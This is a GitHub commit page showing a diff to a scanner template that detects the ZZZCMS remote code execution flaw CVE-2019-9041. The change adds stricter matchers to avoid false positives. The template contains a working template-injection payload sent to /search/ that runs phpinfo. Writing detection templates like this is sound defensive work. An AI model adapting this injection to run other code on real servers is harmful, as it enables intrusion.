Skip to content

Commit

Permalink
Merge pull request #8260 from kazet/zzzcms-rce-fp
Browse files Browse the repository at this point in the history
ZZZCMS RCE is a false positive if we see phpinfo() without posting any data
  • Loading branch information
DhiyaneshGeek authored Sep 26, 2023
2 parents 4a02d8a + 5915161 commit 2c1392e
Showing 1 changed file with 16 additions and 17 deletions.
33 changes: 16 additions & 17 deletions http/cves/2019/CVE-2019-9041.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -26,24 +26,23 @@ info:
tags: cve,cve2019,zzzcms,rce,edb

http:
- method: POST
path:
- "{{BaseURL}}/search/"
- raw:
- |
POST /search/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
body: |
keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
- |
POST /search/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
headers:
Content-Type: application/x-www-form-urlencoded
keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "phpinfo"
- "PHP Version"

- type: status
status:
- 200
- type: dsl
dsl:
- 'status_code_2 == 200'
- '!contains(body_1, "phpinfo")'
- 'contains_all(body_2, "phpinfo","PHP Version")'
condition: and

0 comments on commit 2c1392e

Please sign in to comment.